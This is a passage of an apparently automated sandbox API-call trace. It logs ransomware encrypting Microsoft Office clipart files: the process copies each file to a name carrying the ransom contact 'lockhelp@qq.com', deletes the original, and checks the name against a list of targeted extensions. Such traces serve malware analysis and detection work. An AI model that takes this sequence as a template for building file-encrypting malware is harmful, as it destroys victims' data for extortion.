files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0298.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0298.267] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.267] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0298.267] GetLastError () returned 0x0 [0298.267] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0298.348] WriteFile (in: hFile=0x538, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0298.349] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.349] WriteFile (in: hFile=0x538, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.349] SetEndOfFile (hFile=0x538) returned 1 [0298.809] CloseHandle (hObject=0x538) returned 1 [0298.811] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.811] SetEndOfFile (hFile=0x4f8) returned 1 [0298.834] CloseHandle (hObject=0x4f8) returned 1 [0298.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0298.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0298.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.835] lstrlenW (lpString=".doc") returned 4 [0298.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.835] lstrlenW (lpString=".docx") returned 5 [0298.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.835] lstrlenW (lpString=".pdf") returned 4 [0298.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.835] lstrlenW (lpString=".xls") returned 4 [0298.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.835] lstrlenW (lpString=".xlsx") returned 5 [0298.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.835] lstrlenW (lpString=".ppt") returned 4 [0298.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.835] lstrlenW (lpString=".zip") returned 4 [0298.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.835] lstrlenW (lpString=".rar") returned 4 [0298.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.835] lstrlenW (lpString=".bz2") returned 4 [0298.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.835] lstrlenW (lpString=".7z") returned 3 [0298.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.836] lstrlenW (lpString=".dbf") returned 4 [0298.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.836] lstrlenW (lpString=".1cd") returned 4 [0298.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.836] lstrlenW (lpString=".jpg") returned 4 [0298.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.836] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11152) returned 1 [0298.836] CloseHandle (hObject=0x4f8) returned 1 [0298.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0298.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0298.837] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.837] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0298.837] GetLastError () returned 0x0 [0298.837] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0299.153] WriteFile (in: hFile=0x568, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0299.154] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.154] WriteFile (in: hFile=0x568, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.154] SetEndOfFile (hFile=0x568) returned 1 [0299.154] CloseHandle (hObject=0x568) returned 1 [0299.154] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.154] SetEndOfFile (hFile=0x4f8) returned 1 [0299.157] CloseHandle (hObject=0x4f8) returned 1 [0299.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0299.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0299.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0299.158] lstrlenW (lpString=".doc") returned 4 [0299.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.158] lstrlenW (lpString=".docx") returned 5 [0299.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.158] lstrlenW (lpString=".pdf") returned 4 [0299.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.158] lstrlenW (lpString=".xls") returned 4 [0299.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.158] lstrlenW (lpString=".xlsx") returned 5 [0299.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.158] lstrlenW (lpString=".ppt") returned 4 [0299.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0299.158] lstrlenW (lpString=".zip") returned 4 [0299.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.158] lstrlenW (lpString=".rar") returned 4 [0299.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.158] lstrlenW (lpString=".bz2") returned 4 [0299.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.158] lstrlenW (lpString=".7z") returned 3 [0299.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0299.158] lstrlenW (lpString=".dbf") returned 4 [0299.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0299.158] lstrlenW (lpString=".1cd") returned 4 [0299.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0299.159] lstrlenW (lpString=".jpg") returned 4 [0299.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.192] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=42704) returned 1 [0299.192] CloseHandle (hObject=0x50c) returned 1 [0299.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0299.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0299.246] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.246] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0299.247] GetLastError () returned 0x0 [0299.247] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0299.329] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0299.331] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.331] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.331] SetEndOfFile (hFile=0x4f8) returned 1 [0299.331] CloseHandle (hObject=0x4f8) returned 1 [0299.331] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.331] SetEndOfFile (hFile=0x4b8) returned 1 [0299.404] CloseHandle (hObject=0x4b8) returned 1 [0299.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0299.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0299.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0299.405] lstrlenW (lpString=".doc") returned 4 [0299.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.405] lstrlenW (lpString=".docx") returned 5 [0299.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.405] lstrlenW (lpString=".pdf") returned 4 [0299.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.405] lstrlenW (lpString=".xls") returned 4 [0299.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.405] lstrlenW (lpString=".xlsx") returned 5 [0299.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.405] lstrlenW (lpString=".ppt") returned 4 [0299.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0299.405] lstrlenW (lpString=".zip") returned 4 [0299.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.405] lstrlenW (lpString=".rar") returned 4 [0299.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.405] lstrlenW (lpString=".bz2") returned 4 [0299.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.405] lstrlenW (lpString=".7z") returned 3 [0299.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0299.405] lstrlenW (lpString=".dbf") returned 4 [0299.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0299.405] lstrlenW (lpString=".1cd") returned 4 [0299.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0299.406] lstrlenW (lpString=".jpg") returned 4 [0299.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.408] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1160) returned 1 [0299.409] CloseHandle (hObject=0x4b8) returned 1 [0299.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0299.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0299.409] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.409] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0299.410] GetLastError () returned 0x0 [0299.410] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x488, lpOverlapped=0x0) returned 1 [0299.511] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x490, lpOverlapped=0x0) returned 1 [0299.512] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.512] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.512] SetEndOfFile (hFile=0x414) returned 1 [0299.512] CloseHandle (hObject=0x414) returned 1 [0299.512] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.512] SetEndOfFile (hFile=0x4b8) returned 1 [0299.515] CloseHandle (hObject=0x4b8) returned 1 [0299.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0299.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0299.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0299.516] lstrlenW (lpString=".doc") returned 4 [0299.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.516] lstrlenW (lpString=".docx") returned 5 [0299.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.516] lstrlenW (lpString=".pdf") returned 4 [0299.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.516] lstrlenW (lpString=".xls") returned 4 [0299.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.516] lstrlenW (lpString=".xlsx") returned 5 [0299.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.516] lstrlenW (lpString=".ppt") returned 4 [0299.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0299.517] lstrlenW (lpString=".zip") returned 4 [0299.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.517] lstrlenW (lpString=".rar") returned 4 [0299.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.517] lstrlenW (lpString=".bz2") returned 4 [0299.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.517] lstrlenW (lpString=".7z") returned 3 [0299.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0299.517] lstrlenW (lpString=".dbf") returned 4 [0299.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0299.517] lstrlenW (lpString=".1cd") returned 4 [0299.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0299.517] lstrlenW (lpString=".jpg") returned 4 [0299.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.623] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10316) returned 1 [0299.623] CloseHandle (hObject=0x538) returned 1 [0299.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0299.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0299.623] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.624] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.624] GetLastError () returned 0x0 [0299.624] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x284c, lpOverlapped=0x0) returned 1 [0299.847] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2850, lpOverlapped=0x0) returned 1 [0299.848] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.848] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.848] SetEndOfFile (hFile=0x50c) returned 1 [0299.848] CloseHandle 